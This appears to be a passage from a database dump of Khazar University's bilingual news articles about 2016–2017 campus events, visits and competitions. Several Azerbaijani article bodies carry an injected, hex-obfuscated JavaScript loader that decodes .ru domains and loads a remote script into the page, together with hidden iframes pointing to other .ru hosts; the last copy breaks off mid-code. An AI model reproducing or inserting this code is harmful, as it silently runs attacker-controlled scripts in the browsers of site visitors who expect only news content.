17-də Xəzər Universitetində BP, Iteca Caspian, Caspian Event Organizers, EY şirkətləri və “Kainat”\r\nTədris Mərkəzinin birgə sponsorluğu ilə həyata keçirilən “Gələcəyini\r\nQur!” Gəncliyə Dəstək layihəsinin “Elm” mövzusunda tədbiri keçirildi. Tədbirdə\r\nlayihənin iştirakçıları olan Bakı şəhərinin və Salyan rayonunun müxtəlif məktəblərinin\r\n11-ci sinif şagirdləri Xəzər Universiteti ilə tanış olmaqla yanaşı, dəyərli məlumatlar\r\nəldə etdilər. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Xəzər\r\nUniversiteti Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova tədbiri\r\naçaraq, iştirakçıları salamladı, layihə haqqında ümumi məlumat verdi. Sonra\r\nlayihənin rəhbəri Bəhruz Hidayətzadə elmin vacibliyi, layihənin ədalət, sevgi,\r\nməsuliyyət kimi dəyərləri haqqında çıxış etdi.</p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">İradəetmə\r\nvə tələbə işləri üzrə prorektor İsaxan İsaxanlı universitet haqqında ətraflı məlumat\r\nverdi. Xəzər Universitetinin məzunu, ADA Universitetinin müəllimi Rəşad İbadov\r\nşagirdlərin layihəyə marağını artırmaq üçün layihənin əhəmiyyətindən danışdı. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Çay\r\nfasiləsindən sonra Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlının təsis etdiyi Avrasiya Akademiyası\r\nhaqqında film nümayiş etdirildi. Sonra H.İsaxanlı “Elm” mövzusunda çıxış etdi.\r\nXəzər Universitetində təhsil alan “Gələcəyini Qur!” lahiyəsinin məzunları çıxış\r\netdilər. Xəzər Universitetinin amerikalı məzunu Marta Lauri çıxış edərək, tədbir\r\niştirakçılarını dil öyrənməyə çağırdı. EY şirkətinin əməkdaşı Günel Fərəcova\r\nelm və cəmiyyət haqqında çıxış etdi. Sonra şagirdlər qruplara bölünərək,\r\npraktiki çalışmalar üzərində işlədilər. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Qeyd\r\nedək ki, “Gələcəyini Qur!” layihəsinin əsas məqsədi aztəminatlı ailələrdən olan\r\nyüksək bilik və bacarığa malik gənclərin həyatda uğur əldə etmələrinə dəstək və\r\ntövhə vermək və bununla Azərbaycan cəmiyyətinə yüksək intellekt və etik dəyərlərə\r\nmalik sağlam düşüncəli gənclər qazandırmaqdır. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Layihə\r\nhaqqında ətraflı məlumat bu linkdən əldə oluna bilər: <a href=\"http://geleceyiniqur.az/az/\">http://geleceyiniqur.az/az/</a>.&nbsp;<strong></strong></p>   <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2973,1762,'en','“Build Your Future” Youth Support Project Holds Event at Khazar','On December 17, 2016, an event entitled “Science” was held at Khazar University as part of the “Build Your Future” Youth Support Project, which is implemented with the...','<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">On\r\nDecember 17, 2016, an event entitled “Science” was held at Khazar University as\r\npart of the “Build Your Future” Youth Support Project, which is implemented\r\nwith the financial support and within the corporate social responsibility\r\npolicies of BP, Iteca Caspian, Caspian Event Organizers, Kainat Educational\r\nCenter, and EY, and BP. Participants included eleventh-grade students from\r\nvarious schools of Baku and Salyan. The students were introduced to Khazar\r\nUniversity during the event and also learned valuable information. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Opening\r\nthe event, Turan Jafarova, Director of the International Affairs Office at\r\nKhazar University, greeted the participants and gave general information about\r\nthe project. Then Bahruz Hidayetzadeh, project director, spoke about the\r\nimportance of science, justice, love, responsibility and other values of the\r\nproject. Dr. Isakhan Isakhanli, Vice President for Administration and Student\r\nAffairs, made a presentation about Khazar University. Then Rashad Ibadov,\r\nKhazar alumnus and instructor at ADA University, gave the students a\r\nmotivational speech. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">After\r\na tea break, a film was shown about Eurasian Academy, co-founded by Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees. Then Prof. Isaxanli made a speech about the importance\r\nof science. Several Khazar University students who graduated from the Build\r\nYour Future program spoke. Martha Lawry, American alumna of Khazar University,\r\ncalled on the students to learn languages. Gunel Farajova, employee of EY,\r\nspoke about science and society. Then the students were divided into small\r\ngroups for a practical exercise. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">We\r\nnote that the main objective of the Build Your Future project is to grow the\r\npool of highly intelligent and ethical citizens in the Azerbaijani society by\r\nsupporting talented students from low-income families in building successful\r\nfuture lives. More information about the project is available at the following\r\nlink: <a href=\"http://geleceyiniqur.az/az/\">http://geleceyiniqur.az/az/</a></p>'),(3014,1783,'az','“Elm şənliyi” keçirildi','2016-cı il dekabrın 23-ü saat 10:00-dan 17:00-dək Xəzər Universitetində Azərbaycan Prezidenti yanında Gənclər Fondunun dəstəyi, Xəzər Universitetinin Tarix və arxeologiya...','<p>2016-cı il dekabrın 23-ü saat 10:00-dan 17:00-dək Xəzər Universitetində Azərbaycan Prezidenti yanında Gənclər Fondunun dəstəyi, Xəzər Universitetinin Tarix və arxeologiya departamenti və Xəzər Universiteti Karyera İnkişaf Mərkəzinin əməkdaşlığı ilə “Elm şənliyi” adlı tədbir keçirildi. Tədbirin əsas məqsədi elmi incəsənət yolu ilə gənclərə göstərmək və sevdirmək idi.</p><p>Tədbiri Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı açdı. Daha sonra AMEA Arxeologiya və Etnoqrafiya İnstitutunun direktoru professor Maisə Rəhimova və Misir Ərəb Respublikasının Azərbaycandakı Səfirliyi Misir Mədəniyyət və Təhsil Əlaqələri Mərkəzinin nümayəndəsi Dr. Əhməd Sami Elaylı çıxış etdilər.</p><p>Tədbirdə Xəzər Universiteti ilə yanaşı, &nbsp;Azərbaycan Dövlət İqtisad Universiteti, Bakı Qızlar Universiteti, Bakı Dövlət Universiteti, Dövlət İdarəçilik Akademiyası, Azərbaycan Dövlət Pedaqoji Universiteti, Azərbaycan Dövlət Pedaqoji Universitetinin Şamaxı Filialı, MİRAS İctimai Birliyi, Misir Mədəniyyət Mərkəzi, Qala Qoruğu, Qobustan Qoruğu, Tarix Muzeyi, Arxeologiya və Etnoqrafiya İnstitutu kimi bir sıra ali təhsil müəssisələri və qurumlar iştirak edirdi.</p><p>Tədbir sərginin nümayişi ilə başladı. Xəzər Universitetinin tələbələri və digər məktəb, universitet və qurumların nümayəndələri öz əl işlərini gələn qonaqlara nümayiş etdirdilər. Daha sonra ümumi təbiət, humanitar, texniki və canlı təbiət mövzularında elmi-kütləvi seminarlar keçirildi. Sərgi çərçivəsində AMEA-nın Arxeologiya və Etnoqrafiya İnstitutunun doktoru, Qobustan Milli tarix bədii qoruğunun elmi katibi Rəhman Abdullayev “ Qayaüstü təsvirlərin sənədləşdirilməsində 3D metodunun tətbiqi” mövzusunda təqdimat apardı. Təqdimatın ardınca Xəzər Universitetinin qızlardan ibarət rəqs ansamblının orjinal tarixi rəqslərinə yer verildi. Daha sonra Xəzər Universitetinin Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri Sevinc Səfərova, Orxan İsmayılov və Fazil Xəlilov “Alternativ enerji və onun faydaları” adlı təqdimat apardılar və bunu təcrübə şəklində gələn qonaqlara nümayiş etdirdilər. Sərginin sonlarına yaxın universitetlərarası Qədim Şərqin tarixi, coğrafiyası, mədəniyyəti və ədəbiyyatı üzrə intellektual yarış keçirildi. Qaliblərə xüsusi mükafatlar verildi.&nbsp;</p><p>Tədbirin sonunda bütün iştirakçılara, təşkilatçılara diplom və sertifikatlar təqdim olundu, xatirə şəkilləri çəkildi.&nbsp;</p>'),(2976,1763,'en','Founder Meets with Rector of Ankara University','On December 19, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, met with Professor Erkan Ibis...','<p>On December 19, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, met with Professor Erkan Ibis, Rector of Ankara University in Turkey. Prof. Isaxanli gave the Rector detailed information about Khazar University and presented a gift on behalf of the university. During the meeting, the two administrators discussed further development of partnership between Ankara University and Khazar University.&nbsp;</p><p>They also signed a memorandum of understanding between the two universities during the meeting. Prof. Isaxanli also wrote a note in the Rector’s book for honored guests.&nbsp;</p>'),(2977,1764,'az','Humanitar və sosial elmlər fakültəsinin məzunları ilə görüş keçiriləcək','2016-cı il dekabrın22-si saat 17.00-da Xəzər Universitetinin konfrans zalında (otaq 102N) Humanitar və sosial elmlər fakültəsini 2016-cı ildə bitirmiş bakalavr məzunları...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il dekabrın22-si saat 17.00-da Xəzər\r\nUniversitetinin konfrans zalında (otaq 102N) Humanitar və sosial elmlər fakültəsini\r\n2016-cı ildə bitirmiş bakalavr məzunları ilə universitet rəhbərliyinin görüşü\r\nkeçiriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Maraqlananlar dəvət olunurlar.</p><p style=\"text-align: right;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong style=\"text-align:right;text-indent:0.25in\"><em><span style=\"font-size:12.0pt;font-family:\'Times New Roman\',\'serif\'\">Məzunlarla İş Mərkəzi</span></em></strong></p>   <!-- ELRTE_SCRIPT:script8720286773742092 --><script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2978,1764,'en','Meeting with Graduates of School of Humanities and Social Sciences','On December 22, 2016 at 17:00 in the Conference Hall (room 102-N) on Khazar University’s Neftchilar Campus, the university administration will hold a meeting with...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nDecember 22, 2016 at 17:00 in the Conference Hall (room 102-N) on Khazar\r\nUniversity’s Neftchilar Campus, the university administration will hold a\r\nmeeting with 2016 bachelor-level graduates of the School of Humanities and\r\nSocial Sciences. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Everyone\r\nis welcome to attend.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Center\r\nfor Alumni Relations</p>'),(2979,1765,'az','Mühəndislik və tətbiqi elmlər fakültəsinin məzunları ilə görüş keçiriləcək','2016-cı il dekabrın24-ü saat 11.00-da Xəzər Universitetinin konfrans zalında (otaq102N) Mühəndislik və tətbiqi elmlər fakültəsini 2016-cı ildə bitirmiş bakalavr...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il dekabrın24-ü saat 11.00-da Xəzər Universitetinin\r\nkonfrans zalında (otaq102N) Mühəndislik və tətbiqi elmlər fakültəsini 2016-cı\r\nildə bitirmiş bakalavr məzunları ilə universitet rəhbərliyinin görüşü keçiriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Maraqlananlar dəvət olunurlar.</p>\r\n<p style=\"text-align: right;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:right;text-indent:.25in;line-height:normal\"\"=\"\"><strong><em>Məzunlarla İş Mərkəzi</em></strong></p>   <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2980,1765,'en','Meeting with Graduates of School of Engineering and Applied Sciences','On December 24, 2016 at 11:00 in the Conference Hall (room 102-N) on Khazar University’s Neftchilar Campus, the university administration will hold a meeting with...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nDecember 24, 2016 at 11:00 in the Conference Hall (room 102-N) on Khazar\r\nUniversity’s Neftchilar Campus, the university administration will hold a\r\nmeeting with 2016 bachelor-level graduates of the School of Engineering and\r\nApplied Sciences.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Everyone\r\nis welcome to attend.</p>\r\n<p style=\"text-align: right;\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Center\r\nfor Alumni Relations</p>'),(4347,2576,'en','Employees of the Library-Information Centre at a musical event\"Chinese charm\"','On October 24, 2017, a musical event called \"Chinese charm\" was held at the Azerbaijan University of Languages organized...','<p>On October 24, 2017, a musical event called \"Chinese charm\" was held at the Azerbaijan University of Languages organized by Confucius Institute (Hanban). At the event, the Culture and Art Troupe of Shandong Normal University presented examples of ancient Chinese musical instruments, national and ethnic dances, kong-fu martial arts.</p><p>Samira Orujova and Esmira Huseynova, the employees of Khazar University Library and Information Center attended the event.</p>'),(2982,1766,'en','Development Director at Conference in Spain ','On December 12-14, 2016, an annual conference organized by Support and Promotion for Higher Education Reform Experts (SPHERE) was held at the University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">On\r\nDecember 12-14, 2016, an annual conference organized by Support and Promotion\r\nfor Higher Education Reform Experts (SPHERE) was held at the University of\r\nBarcelona in Spain. Raziya Isayeva, Khazar University Development Director,\r\nparticipated in the conference as a Higher Education Reform Expert (HERE)\r\nrepresenting Azerbaijan. The conference gathered together HERE of different\r\nprofiles from more than 20 countries. The conference discussed Higher Education\r\nReform with five central dimensions: access/retention/study success, quality,\r\nemployability, internationalization and democratic governance/autonomy.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">The\r\nultimate purpose of the conference was to sharpen participants’ skills in\r\nanalyzing education policy reforms, considering examples of other systems,\r\ndesigning education policies with realistic and specific plans for\r\nimplementation, and further developing their roles in their own countries.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Support\r\nand Promotion for Higher Education Reform Experts (SPHERE) is funded by the\r\nERASMUS+ Programme of the European Union.&nbsp;</p>'),(3998,2334,'az','Elmi tədqiqat məsələlərinə həsr olunmuş seminar','2017-ci il iyulun 14-də Xəzər Universitetində elmi tədqiqat məsələlərinə həsr olumuş seminar keçirildi. Seminarda universitetin...','<p>2017-ci&nbsp;il iyulun 14-də Xəzər Universitetində elmi tədqiqat məsələlərinə həsr olumuş seminar keçirildi. Seminarda universitetin Biologiya departamentinin və Hüceyrə Patologiyası Tədqiqat Mərkəzinin müdiri Dr. İradə Xəlilova, departamentin müəllimləri dosent Cavid Ocaqi və Dr. Zaur Kərimov, İnkişaf Mərkəzinin direktoru Raziyə İsayeva, Təhsil departamentinin koordinatoru Qoşqar Məhərrəmov, Kitabxana - İnformasiya Mərkəzinin direktor müavini Aytac Misgərli, universitetin doktorant tələbələri iştirak edirdilər. Seminarının birinci hissəsində doktorantlar Züleyxa Əkbərova və Gülafət Şəfiyeva oxuduqları elmi məqalələrin tənqidi təhlillərini verdilər. Sonra doktarant Şəbnəm Şahgəldiyeva öz elmi mövzusu, mövzunun aktuallığı, qarşıya qoyulan məqsəd və gözlənilən nəticələr haqqında məlumat verdi. Təqdimatlar maraqla qarşılandı və hərtərəfli müzakirələr aparıldı.</p><p>Seminarının ikinci hissəsində elmi araşdırmaların gücləndirilməsi və elmi tədqiqat işlərinə dəstək yolları, Doktorant Tələbə Birliyinin (PhD Student Association ) yaradılması haqqında müzakirələr aparıldı. Sonda bu birliyin yaradılması haqda qərar qəbul edildi. Təhsil departamentinin koordinatoru və Türkiyənin Eskişehir Osmangazi Universiteti Təhsilin təşkili və idarə olunması üzrə doktorant tələbəsi Qoşqar Məhərrəmov yeni dərs ilindən bu birliyi könüllü olaraq təşkil etməyi öz öhdəsinə götürdü.</p><p>Qeyd olundu ki, Doktorant Tələbə Birliyi qənc tədqiqatçıların inkişafına kömək üçün yaradılan bir platformadır. Hər bir doktorant tələbə bu birliyə daxil ola və işində fəal iştirak edə bilər. Burada müxtəlif sahələrdən olan gənc tədqiqatçılar tələbə şəbəkəsi yaradaraq, öz ideya və təcrübələri haqqında fikir mübadiləsi apara bilər, müxtəlif görüşlər və seminarlar, həmçinin qeyri-rəsmi sosial tədbirlər təşkil edə bilərlər.</p>'),(3017,1784,'en','Inter-university \"Spaghetti Bridge Competition\" Held at Khazar. ','On December 26th, 2016, a traditional inter-university \"Spaghetti Bridge Competition” was held at Khazar University with the coordination of the School of Engineering and Applied...','<p>On December 26<sup>th</sup>, 2016, a traditional\r\ninter-university \"Spaghetti Bridge Competition” was held at Khazar\r\nUniversity with the coordination of the School of Engineering and Applied\r\nSciences.&nbsp; Students from Khazar University, Baku Higher Oil School (BHOS),\r\nand Azerbaijan State Oil and Industry Academy (ASOIA) participated in the\r\ncompetition. The “Koroghlu” team from Khazar University won first place. </p>\r\n<p>President Hassan Niknafs made an opening speech in which he\r\nemphasized the importance of the competition and wished the participants success.\r\nThen the competition started under the supervision of Ali Atefi, instructor for\r\nKhazar University’s Department of Civil Engineering. Khazar University’s\r\nKoroghlu team won the intensive and exciting competition. </p>\r\n<p>This competition was meant to challenge students\' knowledge in\r\nEngineering Mechanics and Strength of Materials to build a bridge from macaroni\r\nand spaghetti. </p>\r\n<p>The students made a decorative\r\nholiday tree from spaghetti as well. An article about this news is available at\r\nthe following link: <a href=\"http://a24.az/dunyada-ilk-hami-azerbaycanli-telebelerin-duzeltdiyi-yeni-il-agacindan-danisir-foto/\">http://a24.az/dunyada-ilk-hami-azerbaycanli-telebelerin-duzeltdiyi-yeni-il-agacindan-danisir-foto/</a> </p>'),(3018,1785,'az','Xəzər Universitetinin əməkdaşı “Milad Bayramı” nda iştirak etdi','2016-cı il dekabrın 25-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin assistenti Günel İsmayılova Bakirə Müqəddəs Məryam Katolik Kilsəsində Katolik...','<p>2016-cı il dekabrın 25-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin assistenti Günel İsmayılova Bakirə Müqəddəs Məryam Katolik Kilsəsində Katolik icmasının &nbsp;Milad Bayramında iştirak etdi. Bayram xüsusi mərasim nəğməsi ilə başladı, Həzrəti İsanın doğum gününü əks etdirən kiçik səhnəciklə, eləcə də, müqəddəs “İncil” &nbsp;kitabından din xadimləri tərəfindən səsləndirilən moizə və dini nəğmələrlə yekunlaşdı. Bu mərasimə ABŞ-ın Azərbaycandakı &nbsp;Fövqəladə və Səlahiyyətli səfiri Robert Sekuta, “Fulbright” Proqramı ilə Bakıya gələn və ingilis dilini Bakıdakı məktəblərdə tədris edən müəllimlər Robert Borowik, Mary Catherine Boehmer, Xəzər Universitetinin Mühəndislik və tətbiqi elmlər fakültəsinin müəllimi Michael Monday və digər qonaqlar da qatılmışdılar.&nbsp;</p><p>Qeyd edək ki, 2016-cı il Azərbaycanda “Multikulturalizm ili” kimi qeyd edilir.</p>'),(2983,1767,'az','Təsisçi Hacettepe Universitetinin rektoru ilə görüşdü','2016-cı il dekabrın 20-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Hacettepe Universitetinin rektoru...','<p>2016-cı il\r\ndekabrın 20-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı Hacettepe Universitetinin rektoru\r\nprofessor Haluk Özenlə görüşdü. Qəbul zamanı H.İsaxanlı Hacettepe Universitetinin\r\nrektoruna Xəzər Universitetinin fakültələri, bu günə kimi əldə etdiyi nailliyətlər\r\nhaqqında geniş məlumat verdi. Hacettepe Universitetinin rektoru H.Özen ziyarətə\r\ngörə H.İsaxanlıya dərin təşəkkürünü bildirdi və gələcəkdə əməkdaşlıq\r\nperspektivlərinin davam etdirilməsinin vacibliyini vurğuladı.</p>\r\n<p>H.İsaxanlının\r\nAnkaraya rəsmi səfəri davam edir.&nbsp;</p>   <script type=\"text/javascript\">window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe><script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var 